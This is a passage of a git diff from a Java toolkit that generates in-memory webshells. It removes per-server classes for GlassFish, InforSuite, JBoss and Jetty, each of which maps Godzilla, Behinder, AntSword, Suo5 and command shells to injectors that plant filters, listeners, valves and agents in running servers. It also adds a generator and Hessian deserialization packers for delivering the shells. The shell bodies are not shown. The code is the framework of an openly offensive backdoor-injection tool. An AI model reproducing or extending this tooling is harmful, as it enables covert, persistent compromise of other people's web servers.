map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,104 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
|
||||||
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/24
|
|
||||||
*/
|
|
||||||
public class InforSuiteShell extends AbstractShell {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,92 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/10
|
|
||||||
*/
|
|
||||||
public class JbossShell extends AbstractShell {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(CommandValve.class, JbossValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, JbossFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, JbossListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,100 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
|
|
||||||
import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/7
|
|
||||||
*/
|
|
||||||
public class JettyShell extends AbstractShell {
|
|
||||||
public static final String AGENT_HANDLER = AGENT + "Handler";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
|
|
||||||
map.put(AGENT_HANDLER, Pair.of(CommandHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
|
|
||||||
map.put(AGENT_HANDLER, Pair.of(GodzillaHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
|
|
||||||
map.put(AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class));
|
|
||||||
map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/24
|
||||||
|
*/
|
||||||
|
public class MemShellGenerator {
|
||||||
|
|
||||||
|
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
Server server = shellConfig.getServer();
|
||||||
|
AbstractShell shell = server.getShell();
|
||||||
|
if (shell == null) {
|
||||||
|
throw new IllegalArgumentException("Unsupported server");
|
||||||
|
}
|
||||||
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
|
}
|
||||||
|
|
||||||
|
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||||
|
if (shellInjectorPair == null) {
|
||||||
|
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
||||||
|
}
|
||||||
|
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||||
|
Class<?> injectorClass = shellInjectorPair.getRight();
|
||||||
|
|
||||||
|
shellToolConfig.setShellClass(shellClass);
|
||||||
|
|
||||||
|
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
|
injectorConfig = injectorConfig
|
||||||
|
.toBuilder()
|
||||||
|
.injectorClass(injectorClass)
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.shellClassBytes(shellBytes).build();
|
||||||
|
|
||||||
|
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
||||||
|
|
||||||
|
return GenerateResult.builder()
|
||||||
|
.shellConfig(shellConfig)
|
||||||
|
.shellToolConfig(shellToolConfig)
|
||||||
|
.injectorConfig(injectorConfig)
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.shellBytes(shellBytes)
|
||||||
|
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||||
|
.injectorBytes(injectorBytes)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
switch (shellConfig.getShellTool()) {
|
||||||
|
case Godzilla:
|
||||||
|
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
||||||
|
case Command:
|
||||||
|
return CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||||
|
case Behinder:
|
||||||
|
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||||
|
case Suo5:
|
||||||
|
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
||||||
|
case AntSword:
|
||||||
|
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
||||||
|
default:
|
||||||
|
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+19
-2
@@ -1,10 +1,17 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.packer.BCELPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
|
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
||||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||||
@@ -30,6 +37,7 @@ import lombok.Getter;
|
|||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -96,6 +104,15 @@ public enum Packers {
|
|||||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
||||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Hessian 反序列化打包器
|
||||||
|
*/
|
||||||
|
Hessian2Deserialize(new Hessian2Packer()),
|
||||||
|
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
|
||||||
|
|
||||||
|
HessianDeserialize(new HessianPacker()),
|
||||||
|
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
||||||
|
|
||||||
AgentJar(new AgentJarPacker()),
|
AgentJar(new AgentJarPacker()),
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
@@ -117,6 +134,6 @@ public enum Packers {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
